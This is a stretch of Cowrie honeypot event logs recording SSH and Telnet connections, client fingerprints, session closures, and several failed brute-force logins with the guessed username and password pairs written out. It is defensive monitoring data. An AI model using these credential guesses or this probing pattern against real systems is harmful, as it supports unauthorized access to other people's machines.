{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:18.200062Z","src_ip":"87.251.64.176","session":"f2981d0bf70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0111756324768,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:28.165315Z","src_ip":"152.42.224.71","session":"fe5f27d5ec0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.57056999206543,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:30.023733Z","src_ip":"152.42.224.71","session":"5a4cd90c73b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00225901603699,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:30.544987Z","src_ip":"152.42.224.71","session":"efece26a6127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3fdf530aebb","protocol":"telnet","message":"New connection: 152.42.224.71:38110 (10.17.0.5:23) [session: b3fdf530aebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:36.636619Z"}
{"eventid":"cowrie.session.closed","duration":88.763099193573,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:42.471256Z","src_ip":"152.42.224.71","session":"e2f4ae6e7c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37890,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f9cc8b561aa","protocol":"telnet","message":"New connection: 152.42.224.71:37890 (10.17.0.5:23) [session: 0f9cc8b561aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:43.210886Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55570,"dst_ip":"10.17.0.5","dst_port":22,"session":"61f13754fc0e","protocol":"ssh","message":"New connection: 51.250.105.222:55570 (10.17.0.5:22) [session: 61f13754fc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:44.139666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:44.145344Z","src_ip":"51.250.105.222","session":"61f13754fc0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:44.280395Z","src_ip":"51.250.105.222","session":"61f13754fc0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19411945","message":"login attempt [root/19411945] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:44.673539Z","src_ip":"51.250.105.222","session":"61f13754fc0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:45.807299Z","src_ip":"51.250.105.222","session":"61f13754fc0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55170,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b24f36894f8","protocol":"telnet","message":"New connection: 152.42.224.71:55170 (10.17.0.5:23) [session: 4b24f36894f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:46.665193Z"}
{"eventid":"cowrie.session.closed","duration":40.44273781776428,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:49.582705Z","src_ip":"152.42.224.71","session":"7d62fd3ecca2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.416372537612915,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:49.651044Z","src_ip":"152.42.224.71","session":"d1003ff3e80e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.11843419075012,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:49.656071Z","src_ip":"152.42.224.71","session":"8d328a18c6c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55184,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f67e3359935","protocol":"telnet","message":"New connection: 152.42.224.71:55184 (10.17.0.5:23) [session: 0f67e3359935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:50.489253Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55188,"dst_ip":"10.17.0.5","dst_port":23,"session":"12db6acea016","protocol":"telnet","message":"New connection: 152.42.224.71:55188 (10.17.0.5:23) [session: 12db6acea016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:50.665972Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55192,"dst_ip":"10.17.0.5","dst_port":23,"session":"235b4942403e","protocol":"telnet","message":"New connection: 152.42.224.71:55192 (10.17.0.5:23) [session: 235b4942403e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:54.746181Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64628,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e7ec87c1534","protocol":"ssh","message":"New connection: 167.172.81.52:64628 (159.203.135.109:22) [session: 7e7ec87c1534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:57.384549Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:57.436136Z","src_ip":"167.172.81.52","session":"7e7ec87c1534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:57.441437Z","src_ip":"167.172.81.52","session":"7e7ec87c1534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.19544124603271,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:58.224378Z","src_ip":"152.42.224.71","session":"4e4e4e5db141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53222,"dst_ip":"10.17.0.5","dst_port":23,"session":"52552f1b74d1","protocol":"telnet","message":"New connection: 152.42.224.71:53222 (10.17.0.5:23) [session: 52552f1b74d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:01.341252Z"}
{"eventid":"cowrie.session.closed","duration":11.439096927642822,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:02.104986Z","src_ip":"152.42.224.71","session":"12db6acea016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00199246406555,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:02.555432Z","src_ip":"152.42.224.71","session":"c7c396d0167b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53226,"dst_ip":"10.17.0.5","dst_port":23,"session":"43abfaf18e73","protocol":"telnet","message":"New connection: 152.42.224.71:53226 (10.17.0.5:23) [session: 43abfaf18e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:03.004235Z"}
{"eventid":"cowrie.session.closed","duration":10.08216142654419,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:04.828216Z","src_ip":"152.42.224.71","session":"235b4942403e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53236,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d1f512c6fe3","protocol":"telnet","message":"New connection: 152.42.224.71:53236 (10.17.0.5:23) [session: 9d1f512c6fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:05.588194Z"}
{"eventid":"cowrie.session.closed","duration":29.19851803779602,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:05.835041Z","src_ip":"152.42.224.71","session":"b3fdf530aebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":10756,"dst_ip":"10.17.0.5","dst_port":22,"session":"103e75cf4072","protocol":"ssh","message":"New connection: 141.11.21.145:10756 (10.17.0.5:22) [session: 103e75cf4072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:05.965632Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:06.063509Z","src_ip":"141.11.21.145","session":"103e75cf4072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":10766,"dst_ip":"10.17.0.5","dst_port":22,"session":"517a3f31acc2","protocol":"ssh","message":"New connection: 141.11.21.145:10766 (10.17.0.5:22) [session: 517a3f31acc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:06.139678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:06.145288Z","src_ip":"141.11.21.145","session":"517a3f31acc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:06.226691Z","src_ip":"141.11.21.145","session":"517a3f31acc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chuantan","password":"bjtu618253","message":"login attempt [chuantan/bjtu618253] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:06.469303Z","src_ip":"141.11.21.145","session":"517a3f31acc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:07.552454Z","src_ip":"141.11.21.145","session":"517a3f31acc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52758,"dst_ip":"10.17.0.5","dst_port":23,"session":"0edfae22d510","protocol":"telnet","message":"New connection: 152.42.224.71:52758 (10.17.0.5:23) [session: 0edfae22d510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:11.669081Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":32956,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ca55b9bd4e","protocol":"ssh","message":"New connection: 182.93.50.90:32956 (10.17.0.5:22) [session: 78ca55b9bd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:15.169752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:15.175472Z","src_ip":"182.93.50.90","session":"78ca55b9bd4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:15.400450Z","src_ip":"182.93.50.90","session":"78ca55b9bd4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221090","message":"login attempt [root/221090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:16.310536Z","src_ip":"182.93.50.90","session":"78ca55b9bd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:17.533281Z","src_ip":"182.93.50.90","session":"78ca55b9bd4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36314,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bce4380d506","protocol":"telnet","message":"New connection: 152.42.224.71:36314 (10.17.0.5:23) [session: 9bce4380d506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:23.948370Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36326,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a6ededad50b","protocol":"telnet","message":"New connection: 152.42.224.71:36326 (10.17.0.5:23) [session: 0a6ededad50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:24.026947Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36338,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4f68cdb32e5","protocol":"telnet","message":"New connection: 152.42.224.71:36338 (10.17.0.5:23) [session: c4f68cdb32e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:24.255715Z"}
{"eventid":"cowrie.session.closed","duration":41.22864866256714,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:24.439359Z","src_ip":"152.42.224.71","session":"0f9cc8b561aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36342,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0689d776d39","protocol":"telnet","message":"New connection: 152.42.224.71:36342 (10.17.0.5:23) [session: b0689d776d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:25.114796Z"}
{"eventid":"cowrie.session.closed","duration":24.422473669052124,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:25.763601Z","src_ip":"152.42.224.71","session":"52552f1b74d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00342750549316,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:28.213021Z","src_ip":"152.42.224.71","session":"81ebb9c4e622","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00450348854065,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:31.479945Z","src_ip":"152.42.224.71","session":"34cc73fcede2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44568,"dst_ip":"10.17.0.5","dst_port":23,"session":"96117e26bd6d","protocol":"telnet","message":"New connection: 152.42.224.71:44568 (10.17.0.5:23) [session: 96117e26bd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:31.634711Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44576,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84ff034817c","protocol":"telnet","message":"New connection: 152.42.224.71:44576 (10.17.0.5:23) [session: f84ff034817c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:32.663871Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44582,"dst_ip":"10.17.0.5","dst_port":23,"session":"93111c9fb19a","protocol":"telnet","message":"New connection: 152.42.224.71:44582 (10.17.0.5:23) [session: 93111c9fb19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:34.101554Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":41734,"dst_ip":"10.17.0.5","dst_port":22,"session":"549461d445bc","protocol":"ssh","message":"New connection: 81.9.145.130:41734 (10.17.0.5:22) [session: 549461d445bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:34.998916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:35.004412Z","src_ip":"81.9.145.130","session":"549461d445bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:35.120595Z","src_ip":"81.9.145.130","session":"549461d445bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44586,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a1193bad0f","protocol":"telnet","message":"New connection: 152.42.224.71:44586 (10.17.0.5:23) [session: 82a1193bad0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:35.132585Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"fatiha","message":"login attempt [root/fatiha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:35.617224Z","src_ip":"81.9.145.130","session":"549461d445bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.23549199104309,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:35.904465Z","src_ip":"152.42.224.71","session":"0edfae22d510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:36.735554Z","src_ip":"81.9.145.130","session":"549461d445bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38196,"dst_ip":"10.17.0.5","dst_port":23,"session":"f80b9c183b52","protocol":"telnet","message":"New connection: 152.42.224.71:38196 (10.17.0.5:23) [session: f80b9c183b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:40.892389Z"}
{"eventid":"cowrie.session.closed","duration":55.83838963508606,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:42.503439Z","src_ip":"152.42.224.71","session":"4b24f36894f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38206,"dst_ip":"10.17.0.5","dst_port":23,"session":"958ca4a8ffb5","protocol":"telnet","message":"New connection: 152.42.224.71:38206 (10.17.0.5:23) [session: 958ca4a8ffb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:01:44.981750Z"}
